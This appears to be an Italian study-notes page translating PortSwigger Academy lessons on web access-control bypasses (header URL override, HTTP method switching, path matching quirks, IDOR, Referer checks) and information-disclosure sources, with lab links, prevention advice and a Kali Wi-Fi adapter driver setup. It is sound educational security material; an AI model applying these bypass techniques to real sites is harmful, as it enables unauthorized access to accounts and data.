Alcune applicazioni applicano i controlli di accesso a livello della piattaforma. Lo fanno limitando l’accesso a URL specifici e metodi HTTP in base al ruolo dell’utente. Ad esempio, un’applicazione potrebbe configurare una regola come segue:

DENY: POST, /admin/deleteUser, managers

Questa regola nega l’accesso al metodo POST sull’URL /admin/deleteUser, per gli utenti nel gruppo managers. Varie cose possono andare storte in questa situazione, portando al bypass del controllo dell’accesso.

Alcuni framework di applicazione supportano varie intestazioni HTTP non standard che possono essere utilizzate per sovrascrivere l’URL nella richiesta originale, come X-Original-URL e X-Rewrite-URL. Se un sito Web utilizza rigorosi controlli front-end per limitare l’accesso in base all’URL, ma l’applicazione consente di essere sovrascritto dall’URL tramite un’intestazione di richiesta, potrebbe essere possibile bypassare i controlli di accesso utilizzando una richiesta come la seguente:

POST / HTTP/1.1
X-Original-URL: /admin/deleteUser
...

Lab-https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented

Un attacco alternativo si riferisce al metodo HTTP utilizzato nella richiesta. I controlli front-end descritti nelle sezioni precedenti limitano l’accesso in base al metodo URL e HTTP. Alcuni siti Web tollerano diversi metodi di richiesta HTTP durante l’esecuzione di un’azione. Se un utente malintenzionato può utilizzare il metodo GET (o un altro) per eseguire azioni su un URL limitato, può bypassare il controllo di accesso implementato sul livello della piattaforma.

Lab-https://portswigger.net/web-security/access-control/lab-method-based-access-control-can-be-circumvented

Controllo di broken access derivante dalle discrepanze di corrispondenza dell’URL

I siti Web possono variare nel modo in cui corrispondono rigorosamente al percorso di una richiesta in arrivo a un endpoint definito. Ad esempio, possono tollerare la capitalizzazione incoerente, quindi una richiesta a /ADMIN /DELETEUSER può ancora essere mappata all’endpoint /admin/deleteUser. Se il meccanismo di controllo dell’accesso è meno tollerante, può trattarli come due diversi endpoint e non far rispettare le restrizioni corrette di conseguenza.

Discrepanze simili possono sorgere se gli sviluppatori che utilizzano il framework Spring hanno abilitato l’opzione useSuffixPatternMatch. Ciò consente ai percorsi con un’estensione di file arbitraria di essere mappata su un endpoint equivalente senza estensione del file. In altre parole, una richiesta a /admin/deleteUser.anything corrisponderebbe comunque al modello /admin/deleteUser. Prima di Spring 5.3, questa opzione è abilitata per impostazione predefinita.

Su altri sistemi, è possibile che si verifichino discrepanze se /admin/deleteUser e /admin/deleteUser/ sono trattati come endpoint distinti. In questo caso, potresti essere in grado di bypassare i controlli di accesso aggiungendo una barra finale sul percorso.

Escalation del privilegio orizzontale

L’escalation del privilegio orizzontale si verifica se un utente è in grado di accedere alle risorse appartenenti a un altro utente, anziché alle proprie risorse di quel tipo. Ad esempio, se un dipendente può accedere ai registri di altri dipendenti e propri, allora si tratta di un’escalation del privilegio orizzontale.

Gli attacchi di escalation dei privilegi orizzontali possono utilizzare tipi simili di metodi di exploit per l’escalation del privilegio verticale. Ad esempio, un utente potrebbe accedere alla propria pagina dell’account utilizzando il seguente URL:

https://insecure-website.com/myaccount?id=123

Se un utente malintenzionato modifica il valore del parametro id a quello di un altro utente, potrebbe accedere alla pagina dell’account di un altro utente e ai dati e alle funzioni associati.

Nota

Questo è un esempio di vulnerabilità di riferimento a oggetti diretti (IDOR) insicuri. Questo tipo di vulnerabilità sorge laddove i valori dei parametri di controllo utente vengono utilizzati per accedere direttamente alle risorse o alle funzioni.

Lab-https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter

In alcune applicazioni, il parametro sfruttabile non ha un valore prevedibile. Ad esempio, invece di un numero incremento, un’applicazione potrebbe utilizzare identificatori univoci a livello globale (GUID) per identificare gli utenti. Ciò può impedire a un aggressore di indovinare o prevedere l’identificatore di un altro utente. Tuttavia, le GUID appartenenti ad altri utenti potrebbero essere divulgati altrove nell’applicazione in cui gli utenti vengono referenziati, come i messaggi dell’utente o le revisioni.

Lab-https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids

In alcuni casi, un’applicazione rileva quando all’utente non è autorizzato ad accedere alla risorsa e restituisce un reindirizzamento alla pagina di accesso. Tuttavia, la risposta contenente il reindirizzamento potrebbe includere ancora alcuni dati sensibili appartenenti all’utente mirato, quindi l’attacco ha ancora successo.

Escalation del privilegio orizzontale a verticale

Spesso, un attacco di escalation del privilegio orizzontale può essere trasformato in un’escalation del privilegio verticale, compromettendo un utente più privilegiato. Ad esempio, un’escalation orizzontale potrebbe consentire a un utente malintenzionato di ripristinare o catturare la password appartenente a un altro utente. Se l’attaccante si rivolge a un utente amministrativo e compromette il proprio account, può ottenere un accesso amministrativo e quindi eseguire un’escalation del privilegio verticale.

Un utente malintenzionato potrebbe essere in grado di accedere alla pagina dell’account di un altro utente utilizzando la tecnica di manomissione dei parametri già descritta per l’escalation del privilegio orizzontale:

https://insecure-website.com/myaccount?id=456

Se l’utente target è un amministratore dell’applicazione, l’attaccante otterrà l’accesso a una pagina dell’account amministrativo. Questa pagina potrebbe divulgare la password dell’amministratore o fornire un mezzo per modificarla o fornire accesso diretto alla funzionalità privilegiata.

Lab-https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure

Riferimenti di oggetti diretti insicuri

I riferimenti a oggetti diretti insicuri (Insecure direct object references – IDORS) sono una sottocategoria di vulnerabilità di controllo degli accessi. Gli IDOR si verificano se un’applicazione utilizza l’input fornito dall’utente per accedere direttamente agli oggetti e un utente malintenzionato può modificare l’input per ottenere un accesso non autorizzato. È stato reso popolare dalla sua apparizione nella Top Ten Owasp 2007. È solo un esempio di molti errori di implementazione che possono fornire un mezzo per aggirare i controlli di accesso.

Lab-https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references

Vulnerabilità di controllo degli accessi nei processi in più fasi

Molti siti Web implementano funzioni importanti su una serie di passaggi. Questo è comune quando:

  • una varietà di input o opzioni deve essere acquisita;
  • l’utente deve rivedere e confermare i dettagli prima dell’esecuzione dell’azione.

Ad esempio, la funzione amministrativa per aggiornare i dettagli dell’utente potrebbe coinvolgere i seguenti passaggi:

  1. caricare il modulo che contiene i dettagli per un utente specifico;
  2. inviare le modifiche;
  3. rivedere le modifiche e confermare.

A volte, un sito Web implementerà rigorosi controlli di accesso su alcuni di questi passaggi, ma ignorerà altri. Immagina un sito Web in cui i controlli di accesso vengono applicati correttamente al primo e al secondo passaggio, ma non al terzo passaggio. Il sito Web presuppone che un utente raggiunga il passaggio 3 solo se ha già completato i primi passi, che sono correttamente controllati. Un utente malintenzionato può ottenere un accesso non autorizzato alla funzione saltando i primi due passaggi e inviando direttamente la richiesta per il terzo passaggio con i parametri richiesti.

Lab-https://portswigger.net/web-security/access-control/lab-multi-step-process-with-no-access-control-on-one-step

Controllo degli accessi basato sui Referer

Alcuni siti Web basano controlli di accesso sull’intestazione del Referer inviati nella richiesta HTTP. L’intestazione del Referer può essere aggiunta alle richieste dei browser per indicare quale pagina ha avviato una richiesta.

Ad esempio, un’applicazione applica abilmente il controllo dell’accesso sulla pagina amministrativa principale /admin, ma per le sottopagine come /admin /deleteUser ispeziona solo l’intestazione del Referer. Se l’intestazione del Referer contiene l’URL principale /admin, è consentita la richiesta.

In questo caso, l’intestazione del Referer può essere completamente controllata da un aggressore. Ciò significa che possono forgiare richieste dirette alle secondarie sottopagine sensibili fornendo l’intestazione del Referer richiesto e ottenere un accesso non autorizzato.

Lab-https://portswigger.net/web-security/access-control/lab-referer-based-access-control

Controllo dell’accesso basato sulla posizione

Alcuni siti Web applicano i controlli di accesso in base alla posizione geografica dell’utente. Ciò può applicarsi, ad esempio, alle applicazioni bancarie o ai servizi dei media in cui si applicano la legislazione statale o le restrizioni aziendali. Questi controlli di accesso possono spesso essere aggirati dall’uso di proxy Web, VPN o manipolazione dei meccanismi di geolocalizzazione sul lato client.

Come prevenire le vulnerabilità del controllo degli accessi

Le vulnerabilità di controllo degli accessi possono essere prevenute adottando un approccio di difesa in profondità e applicando i seguenti principi:

  • non fare mai affidamento sull’offuscamento da solo per il controllo dell’accesso;
  • a meno che una risorsa non sia destinata a essere accessibile al pubblico, negano l’accesso per impostazione predefinita;
  • ove possibile, utilizzare un singolo meccanismo a livello di applicazione per far rispettare i controlli di accesso;
  • a livello di codice, rendere obbligatorio per gli sviluppatori dichiarare l’accesso consentito per ciascuna risorsa e negare l’accesso per impostazione predefinita;
  • controlli di accesso a controllo e test per garantire che funzionino come progettato.

Information disclosure vulnerabilities

PortSwigger Academy – Information disclosure vulnerabilities

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

In questa sezione spiegheremo le nozioni di base sulle vulnerabilità legate alla divulgazione di informazioni e descriveremo come trovarle e sfruttarle. Offriremo anche alcune indicazioni su come prevenire le vulnerabilità legate alla divulgazione di informazioni nei tuoi siti web.

Imparare a trovare e sfruttare la divulgazione delle informazioni è un’abilità vitale per qualsiasi tester. È probabile che lo incontri regolarmente e, una volta che sai come sfruttarlo in modo efficace, può aiutarti a migliorare l’efficienza dei test e consentirti di trovare bug aggiuntivi di elevata gravità.

Che cos’è la divulgazione delle informazioni?

La divulgazione di informazioni, nota anche come fuga di informazioni, avviene quando un sito Web rivela involontariamente informazioni sensibili ai propri utenti. A seconda del contesto, i siti Web possono divulgare tutti i tipi di informazioni a un potenziale utente malintenzionato, tra cui:

  • dati su altri utenti, come nomi utente o informazioni finanziarie;
  • dati commerciali o aziendali sensibili;
  • dettagli tecnici sul sito web e sulla sua infrastruttura.

I pericoli derivanti dalla fuga di dati aziendali o utente sensibili sono abbastanza ovvi, ma la divulgazione di informazioni tecniche a volte può essere altrettanto grave. Anche se alcune di queste informazioni saranno di utilità limitata, possono potenzialmente essere un punto di partenza per esporre un’ulteriore superficie di attacco, che potrebbe contenere altre vulnerabilità interessanti. La conoscenza che sarai in grado di raccogliere potrebbe persino fornire il pezzo mancante del puzzle quando cerchi di costruire attacchi complessi e ad alta gravità.

Occasionalmente, informazioni sensibili potrebbero essere divulgate incautamente agli utenti che stanno semplicemente navigando nel sito Web in modo normale. Più comunemente, tuttavia, un utente malintenzionato deve ottenere la divulgazione di informazioni interagendo con il sito Web in modi inaspettati o dannosi. Studieranno quindi attentamente le risposte del sito Web per cercare di identificare comportamenti interessanti.

Esempi di divulgazione di informazioni

Alcuni esempi fondamentali di divulgazione di informazioni sono i seguenti:

  • rivelare i nomi delle directory nascoste, la loro struttura e i loro contenuti tramite un file robots.txt o un elenco di directory;
  • fornire accesso ai file del codice sorgente tramite backup temporanei;
  • menzione esplicita dei nomi di tabelle o colonne del database nei messaggi di errore;
  • esporre inutilmente informazioni altamente sensibili, come i dettagli della carta di credito;
  • chiavi API hardcoding, indirizzi IP, credenziali del database e così via nel codice sorgente;
  • suggerendo l’esistenza o l’assenza di risorse, nomi utente e così via attraverso sottili differenze nel comportamento dell’applicazione.

In questo argomento imparerai come trovare e sfruttare alcuni di questi esempi e altro ancora.

Come nascono le vulnerabilità legate alla divulgazione delle informazioni?

Le vulnerabilità legate alla divulgazione di informazioni possono presentarsi in innumerevoli modi diversi, ma queste possono essere classificate a grandi linee come segue:

  • Mancata rimozione dei contenuti interni dai contenuti pubblici. Ad esempio, i commenti degli sviluppatori nel markup sono talvolta visibili agli utenti nell’ambiente di produzione.
  • Configurazione non sicura del sito web e delle tecnologie correlate. Ad esempio, la mancata disabilitazione delle funzionalità di debug e diagnostica può talvolta fornire agli aggressori strumenti utili per aiutarli a ottenere informazioni sensibili. Le configurazioni predefinite possono anche rendere vulnerabili i siti Web, ad esempio visualizzando messaggi di errore eccessivamente dettagliati.
  • Design e comportamento difettosi dell’applicazione. Ad esempio, se un sito Web restituisce risposte distinte quando si verificano diversi stati di errore, ciò può anche consentire agli aggressori di enumerare dati sensibili, come credenziali utente valide.

Qual è l’impatto delle vulnerabilità legate alla divulgazione delle informazioni?

Le vulnerabilità nella divulgazione di informazioni possono avere un impatto sia diretto che indiretto a seconda dello scopo del sito web e, quindi, delle informazioni che un utente malintenzionato è in grado di ottenere. In alcuni casi, il solo atto di divulgazione di informazioni sensibili può avere un impatto elevato sulle parti interessate. Ad esempio, un negozio online che divulga i dati della carta di credito dei propri clienti potrebbe avere gravi conseguenze.

D’altro canto, la fuga di informazioni tecniche, come la struttura delle directory o i framework di terze parti utilizzati, potrebbe avere un impatto diretto minimo o nullo. Tuttavia, nelle mani sbagliate, queste potrebbero rivelarsi le informazioni chiave necessarie per realizzare numerosi altri exploit. La gravità in questo caso dipende da ciò che l’aggressore è in grado di fare con queste informazioni.

Come valutare la gravità delle vulnerabilità legate alla divulgazione delle informazioni

Sebbene l’impatto finale possa essere potenzialmente molto grave, è solo in circostanze specifiche che la divulgazione di informazioni costituisce di per sé un problema di elevata gravità. Durante i test, in particolare, la divulgazione di informazioni tecniche è spesso interessante solo se si è in grado di dimostrare come un utente malintenzionato potrebbe utilizzarle per fare qualcosa di dannoso.

Ad esempio, sapere che un sito Web utilizza una particolare versione del framework è di utilità limitata se tale versione è completamente aggiornata. Tuttavia, queste informazioni diventano significative quando il sito Web utilizza una versione precedente che contiene una vulnerabilità nota. In questo caso, eseguire un attacco devastante potrebbe essere semplice come applicare un exploit documentato pubblicamente.

È importante esercitare il buon senso quando si scopre che vengono divulgate informazioni potenzialmente sensibili. È probabile che dettagli tecnici minori possano essere scoperti in numerosi modi su molti dei siti Web testati. Pertanto, l’attenzione principale dovrebbe essere rivolta all’impatto e alla sfruttabilità delle informazioni trapelate, non solo alla presenza della divulgazione di informazioni come problema a sé stante. L’ovvia eccezione a ciò avviene quando le informazioni trapelate sono così sensibili da meritare attenzione di per sé.

Come prevenire le vulnerabilità legate alla divulgazione di informazioni

Impedire completamente la divulgazione delle informazioni è complicato a causa dell’enorme varietà di modi in cui può verificarsi. Tuttavia, esistono alcune best practice generali che puoi seguire per ridurre al minimo il rischio che questo tipo di vulnerabilità si insinui nei tuoi siti web.

  • Assicurati che tutti coloro che sono coinvolti nella realizzazione del sito web siano pienamente consapevoli di quali informazioni siano considerate sensibili. A volte informazioni apparentemente innocue possono essere molto più utili per un utente malintenzionato di quanto si creda. Evidenziare questi pericoli può aiutare a garantire che le informazioni sensibili vengano gestite in modo più sicuro in generale dalla tua organizzazione.
  • Controlla qualsiasi codice per la potenziale divulgazione di informazioni come parte del tuo QA o dei processi di creazione. Dovrebbe essere relativamente semplice automatizzare alcune delle attività associate, come l’eliminazione dei commenti degli sviluppatori.
  • Utilizzare il più possibile messaggi di errore generici. Non fornire inutilmente agli aggressori indizi sul comportamento dell’applicazione.
  • Ricontrolla che tutte le funzionalità di debug o diagnostica siano disabilitate nell’ambiente di produzione.
  • Assicurati di comprendere appieno le impostazioni di configurazione e le implicazioni sulla sicurezza di qualsiasi tecnologia di terze parti che implementi. Prenditi il ​​tempo necessario per indagare e disattivare eventuali funzionalità e impostazioni di cui non hai effettivamente bisogno.

Come individuare e sfruttare le vulnerabilità legate alla divulgazione di informazioni

In questa sezione forniremo consigli pratici su alcune tecniche e strumenti che è possibile utilizzare per identificare la divulgazione di informazioni in un’ampia gamma di contesti. Abbiamo anche fornito diversi laboratori in modo che tu possa esercitarti nell’estrazione di diversi tipi di informazioni che potrebbero essere utilizzate come parte di un ulteriore attacco.

  • test per le vulnerabilità legate alla divulgazione di informazioni;
  • fonti comuni di divulgazione delle informazioni LABS;

Come testare le vulnerabilità legate alla divulgazione di informazioni

In generale, è importante non sviluppare la “visione a tunnel” durante i test. In altre parole, dovresti evitare di concentrarti troppo su una particolare vulnerabilità. I dati sensibili possono essere divulgati ovunque, quindi è importante non perdere nulla che potrebbe essere utile in seguito. Troverai spesso dati sensibili durante i test per qualcos’altro. Un’abilità chiave è essere in grado di riconoscere informazioni interessanti quando e dove le trovi.

Di seguito sono riportati alcuni esempi di tecniche e strumenti di alto livello che è possibile utilizzare per identificare le vulnerabilità legate alla divulgazione di informazioni durante i test.

  • Fuzzing
  • Utilizzando Burp Scanner
  • Utilizzando gli engagement tools di Burp
  • Risposte informative ingegneristiche

Fuzzing

Se identifichi parametri interessanti, puoi provare a inviare tipi di dati inaspettati e stringhe fuzz appositamente predisposte per vedere quale effetto ha. Presta molta attenzione; sebbene le risposte a volte rivelino esplicitamente informazioni interessanti, possono anche suggerire in modo più sottile il comportamento dell’applicazione. Ad esempio, potrebbe trattarsi di una leggera differenza nel tempo impiegato per elaborare la richiesta. Anche se il contenuto di un messaggio di errore non rivela nulla, a volte il fatto che si sia verificato un caso di errore invece di un altro è di per sé un’informazione utile.

Puoi automatizzare gran parte di questo processo utilizzando strumenti come Burp Intruder. Ciò offre numerosi vantaggi. In particolare, puoi:

  • aggiungere le posizioni del payload ai parametri e utilizzare elenchi di parole predefiniti di stringhe fuzz per testare un volume elevato di input diversi in rapida successione;
  • identificare facilmente le differenze nelle risposte confrontando codici di stato HTTP, tempi di risposta, lunghezze e così via;
  • utilizzare le regole di corrispondenza grep per identificare rapidamente le occorrenze di parole chiave, come error, invalid, SELECT, SQL e così via;
  • applicare le regole di estrazione grep per estrarre e confrontare il contenuto di elementi interessanti all’interno delle risposte.

Puoi anche utilizzare l’estensione Logger++, disponibile nello store BApp. Oltre a registrare richieste e risposte da tutti gli strumenti di Burp, ti consente di definire filtri avanzati per evidenziare le voci interessanti. Questa è solo una delle tante estensioni Burp che possono aiutarti a trovare tutti i dati sensibili trapelati dal sito web.

Utilizzando Burp Scanner

Gli utenti di Burp Suite Professional hanno il vantaggio di Burp Scanner. Ciò fornisce funzionalità di scansione in tempo reale per il controllo degli elementi durante la navigazione oppure puoi pianificare scansioni automatizzate per eseguire la scansione e controllare il sito di destinazione per tuo conto. Entrambi gli approcci contrassegneranno automaticamente molte vulnerabilità legate alla divulgazione di informazioni. Ad esempio, Burp Scanner ti avviserà se trova informazioni sensibili come chiavi private, indirizzi e-mail e numeri di carta di credito in una risposta. Identificherà inoltre eventuali file di backup, elenchi di directory e così via.

Utilizzando gli engagement tools di Burp

Burp fornisce diversi engagement tools che puoi utilizzare per trovare più facilmente informazioni interessanti nel sito Web di destinazione. Puoi accedere agli engagement tools dal menu contestuale: fai semplicemente clic con il pulsante destro del mouse su qualsiasi messaggio HTTP, voce Burp Proxy o elemento nella mappa del sito e vai su “Engagement tools”.

I seguenti strumenti sono particolarmente utili in questo contesto.

Ricerca

Puoi utilizzare questo strumento per cercare qualsiasi espressione all’interno dell’elemento selezionato. Puoi ottimizzare i risultati utilizzando varie opzioni di ricerca avanzata, come la ricerca regex o la ricerca negativa. Ciò è utile per trovare rapidamente occorrenze (o assenze) di specifiche parole chiave di interesse.

Trova commenti

Puoi utilizzare questo strumento per estrarre rapidamente eventuali commenti degli sviluppatori trovati nell’elemento selezionato. Fornisce inoltre schede per accedere immediatamente al ciclo di richiesta/risposta HTTP in cui è stato trovato ciascun commento.

Scopri i contenuti

Puoi utilizzare questo strumento per identificare contenuti e funzionalità aggiuntivi non collegati ai contenuti visibili del sito web. Questo può essere utile per trovare directory e file aggiuntivi che non necessariamente verranno visualizzati automaticamente nella mappa del sito.

Risposte informative ingegneristiche

I messaggi di errore dettagliati a volte possono rivelare informazioni interessanti durante il normale flusso di lavoro dei test. Tuttavia, studiando il modo in cui i messaggi di errore cambiano in base ai tuoi input, puoi fare un ulteriore passo avanti. In alcuni casi, sarai in grado di manipolare il sito web per estrarre dati arbitrari tramite un messaggio di errore.

Esistono numerosi metodi per farlo a seconda dello scenario particolare che incontri. Un esempio comune è fare in modo che la logica dell’applicazione tenti un’azione non valida su un elemento di dati specifico. Ad esempio, l’invio di un valore di parametro non valido potrebbe portare a un’analisi dello stack o a una risposta di debug che contiene dettagli interessanti. A volte è possibile che i messaggi di errore rivelino il valore dei dati desiderati nella risposta.

Fonti comuni di divulgazione delle informazioni

La divulgazione di informazioni può avvenire in un’ampia varietà di contesti all’interno di un sito web. Di seguito sono riportati alcuni esempi comuni di luoghi in cui è possibile verificare se vengono esposte informazioni sensibili.

  • File per crawler web
  • Elenchi di directory
  • Commenti degli sviluppatori
  • Messaggi di errore
  • Debug dei dati
  • Pagine dell’account utente
  • File di backup
  • Configurazione non sicura
  • Cronologia del controllo della versione

File per crawler web

Molti siti Web forniscono file in /robots.txt e /sitemap.xml per aiutare i crawler a navigare nel sito. Tra l’altro, questi file spesso elencano directory specifiche che i crawler dovrebbero ignorare, ad esempio perché potrebbero contenere informazioni riservate.

Dato che questi file non sono solitamente collegati all’interno del sito web, potrebbero non apparire immediatamente nella mappa del sito di Burp. Tuttavia, vale la pena provare a navigare manualmente su /robots.txt o /sitemap.xml per vedere se trovi qualcosa di utile.

Elenchi di directory

I server Web possono essere configurati per elencare automaticamente il contenuto delle directory che non dispongono di una pagina indice presente. Ciò può aiutare un utente malintenzionato consentendogli di identificare rapidamente le risorse in un determinato percorso e procedere direttamente all’analisi e all’attacco di tali risorse. Aumenta in particolare l’esposizione dei file sensibili all’interno della directory che non devono essere accessibili agli utenti, come file temporanei e dump di arresti anomali.

Gli stessi elenchi di directory non rappresentano necessariamente una vulnerabilità della sicurezza. Tuttavia, se anche il sito Web non riesce a implementare un adeguato controllo degli accessi, la divulgazione dell’esistenza e dell’ubicazione delle risorse sensibili in questo modo rappresenta chiaramente un problema.

Commenti degli sviluppatori

Durante lo sviluppo, a volte vengono aggiunti commenti HTML in linea al markup. Questi commenti vengono in genere rimossi prima che le modifiche vengano distribuite nell’ambiente di produzione. Tuttavia, a volte i commenti possono essere dimenticati, persi o addirittura lasciati deliberatamente perché qualcuno non era pienamente consapevole delle implicazioni sulla sicurezza. Sebbene questi commenti non siano visibili sulla pagina renderizzata, è possibile accedervi facilmente utilizzando Burp o anche gli strumenti di sviluppo integrati nel browser.

Talvolta questi commenti contengono informazioni utili a un utente malintenzionato. Ad esempio, potrebbero suggerire l’esistenza di directory nascoste o fornire indizi sulla logica dell’applicazione.

Messaggi di errore

Una delle cause più comuni di divulgazione di informazioni sono i messaggi di errore dettagliati. Come regola generale, dovresti prestare molta attenzione a tutti i messaggi di errore che incontri durante il controllo.

Il contenuto dei messaggi di errore può rivelare informazioni su quale input o tipo di dati è previsto da un determinato parametro. Questo può aiutarti a restringere il campo dell’attacco identificando i parametri sfruttabili. Potrebbe anche semplicemente impedirti di perdere tempo cercando di iniettare payload che semplicemente non funzioneranno.

Messaggi di errore dettagliati possono anche fornire informazioni sulle diverse tecnologie utilizzate dal sito web. Ad esempio, potrebbero nominare esplicitamente un motore di modello, un tipo di database o un server utilizzato dal sito Web, insieme al numero di versione. Queste informazioni possono essere utili perché puoi cercare facilmente eventuali exploit documentati che potrebbero esistere per questa versione. Allo stesso modo, puoi verificare se sono presenti errori di configurazione comuni o impostazioni predefinite pericolose che potresti essere in grado di sfruttare. Alcuni di questi potrebbero essere evidenziati nella documentazione ufficiale.

Potresti anche scoprire che il sito Web utilizza una sorta di framework open source. In questo caso, puoi studiare il codice sorgente disponibile al pubblico, che è una risorsa inestimabile per costruire i tuoi exploit.

Le differenze tra i messaggi di errore possono anche rivelare un diverso comportamento dell’applicazione che si verifica dietro le quinte. Osservare le differenze nei messaggi di errore è un aspetto cruciale di molte tecniche, come l’iniezione SQL, l’enumerazione dei nomi utente e così via.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages

Debug dei dati

A scopo di debug, molti siti Web generano messaggi di errore e log personalizzati che contengono grandi quantità di informazioni sul comportamento dell’applicazione. Sebbene queste informazioni siano utili durante lo sviluppo, sono anche estremamente utili per un utente malintenzionato se trapelano nell’ambiente di produzione.

I messaggi di debug a volte possono contenere informazioni vitali per lo sviluppo di un attacco, tra cui:

  • valori per variabili di sessione chiave che possono essere manipolate tramite input dell’utente;
  • nomi host e credenziali per i componenti back-end;
  • nomi di file e directory sul server;
  • chiavi utilizzate per crittografare i dati trasmessi tramite il client.

Talvolta le informazioni di debug possono essere registrate in un file separato. Se un utente malintenzionato riesce ad accedere a questo file, può fungere da utile riferimento per comprendere lo stato di runtime dell’applicazione. Può anche fornire diversi indizi su come fornire input elaborati per manipolare lo stato dell’applicazione e controllare le informazioni ricevute.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page

Pagine dell’account utente

Per loro stessa natura, il profilo o la pagina dell’account di un utente contiene solitamente informazioni sensibili, come l’indirizzo e-mail, il numero di telefono, la chiave API e così via. Poiché normalmente gli utenti hanno accesso solo alla pagina del proprio account, ciò non rappresenta di per sé una vulnerabilità. Tuttavia, alcuni siti Web contengono difetti logici che potenzialmente consentono a un utente malintenzionato di sfruttare queste pagine per visualizzare i dati di altri utenti.

Ad esempio, considera un sito Web che determina quale pagina dell’account utente caricare in base a un parametro utente.

GET /user/personal-info?user=carlos

La maggior parte dei siti Web adotta misure per impedire a un utente malintenzionato di modificare semplicemente questo parametro per accedere alle pagine degli account di utenti arbitrari. Tuttavia, a volte la logica per caricare singoli elementi di dati non è così solida.

Un utente malintenzionato potrebbe non essere in grado di caricare interamente la pagina dell’account di un altro utente, ma la logica per recuperare e visualizzare l’indirizzo e-mail registrato dell’utente, ad esempio, potrebbe non verificare che il parametro utente corrisponda all’utente attualmente connesso. In questo caso , la semplice modifica del parametro utente consentirebbe a un utente malintenzionato di visualizzare indirizzi email di utenti arbitrari sulla pagina del proprio account.

Esamineremo questo tipo di vulnerabilità in modo più dettagliato quando tratteremo il controllo degli accessi e le vulnerabilità IDOR.

Divulgazione del codice sorgente tramite file di backup

Ottenere l’accesso al codice sorgente rende molto più semplice per un utente malintenzionato comprendere il comportamento dell’applicazione e costruire attacchi ad alta gravità. I dati sensibili a volte sono addirittura codificati all’interno del codice sorgente. Esempi tipici di ciò includono chiavi API e credenziali per l’accesso ai componenti back-end.

Se riesci a identificare che viene utilizzata una particolare tecnologia open source, ciò fornisce un facile accesso a una quantità limitata di codice sorgente.

Occasionalmente, è anche possibile fare in modo che il sito web esponga il proprio codice sorgente. Durante la mappatura di un sito Web, potresti scoprire che ad alcuni file di codice sorgente viene fatto riferimento esplicitamente. Sfortunatamente, richiedendoli di solito non si rivela il codice stesso. Quando un server gestisce file con una particolare estensione, come .php, in genere esegue il codice, anziché semplicemente inviarlo al client come testo. Tuttavia, in alcune situazioni, puoi indurre un sito Web a restituire il contenuto del file. Ad esempio, gli editor di testo spesso generano file di backup temporanei mentre il file originale viene modificato. Questi file temporanei vengono solitamente indicati in qualche modo, ad esempio aggiungendo una tilde (~) al nome del file o aggiungendo un’estensione di file diversa. La richiesta di un file di codice utilizzando un’estensione di file di backup a volte può consentire di leggere il contenuto del file nella risposta.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files

Una volta che un utente malintenzionato ha accesso al codice sorgente, questo può rappresentare un enorme passo avanti verso la possibilità di identificare e sfruttare ulteriori vulnerabilità che altrimenti sarebbero quasi impossibili. Uno di questi esempi è la deserializzazione non sicura. Esamineremo questa vulnerabilità più avanti in un argomento dedicato.

Divulgazione di informazioni a causa di una configurazione non sicura

I siti Web talvolta sono vulnerabili a causa di una configurazione errata. Ciò è particolarmente comune a causa dell’uso diffuso di tecnologie di terze parti, la cui vasta gamma di opzioni di configurazione non è necessariamente ben compresa da coloro che le implementano.

In altri casi, gli sviluppatori potrebbero dimenticare di disabilitare varie opzioni di debug nell’ambiente di produzione. Ad esempio, il metodo HTTP TRACE è progettato per scopi diagnostici. Se abilitato, il server web risponderà alle richieste che utilizzano il metodo TRACE riportando nella risposta l’esatta richiesta ricevuta. Questo comportamento è spesso innocuo, ma occasionalmente porta alla divulgazione di informazioni, come il nome delle intestazioni di autenticazione interne che potrebbero essere aggiunte alle richieste dai proxy inversi.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass

Cronologia del controllo della versione

Praticamente tutti i siti Web sono sviluppati utilizzando una qualche forma di sistema di controllo della versione, come Git. Per impostazione predefinita, un progetto Git archivia tutti i dati di controllo della versione in una cartella denominata .git. Occasionalmente, i siti Web espongono questa directory nell’ambiente di produzione. In questo caso, potresti riuscire ad accedervi semplicemente accedendo a /.git.

Anche se spesso non è pratico sfogliare manualmente la struttura e i contenuti dei file grezzi, esistono vari metodi per scaricare l’intera directory .git. Puoi quindi aprirlo utilizzando l’installazione locale di Git per accedere alla cronologia del controllo della versione del sito Web. Ciò può includere registri contenenti modifiche apportate e altre informazioni interessanti.

Questo potrebbe non darti accesso al codice sorgente completo, ma confrontare le differenze ti consentirà di leggere piccoli frammenti di codice. Come con qualsiasi codice sorgente, potresti anche trovare dati sensibili codificati all’interno di alcune delle righe modificate.

Lab-https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history

Antenna ALFA AWUS036ACH su Kali Linux (Raspberry Pi)

Procedura per installare antenna ALFA AWUS036ACH su Kali Linux (Raspberry Pi)

sudo su
lsusb
apt update
apt upgrade -y

lsusb: verifica che l’antenna sia riconosciuta e visibile come dispositivo USB collegato.

apt install dkms
apt install realtek-rtl88xxau-dkms

dkms: assicura il supporto per i driver del kernel in modo dinamico.

realtek-rtl88xxau-dkms: fornisce i driver base per il chipset Realtek.

git clone https://github.com/aircrack-ng/rtl8812au.git

Nota: Per una versione specifica del driver (es. v5.6.4.2), usa:

git clone -b v5.6.4.2 https://github.com/aircrack-ng/rtl8812au.git

cd rtl8812au
make
make install
apt-get install kalipi-kernel-headers

Questo passaggio è essenziale per assicurare la compatibilità del driver con il kernel Kali per Raspberry Pi.

kismet -c wlan0

kismet: avvia il monitoraggio e verifica che l’antenna funzioni correttamente. In questo caso ho specificato di utilizzare la wlan0.

Business logic vulnerabilities

PortSwigger Academy – Business logic vulnerabilities

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

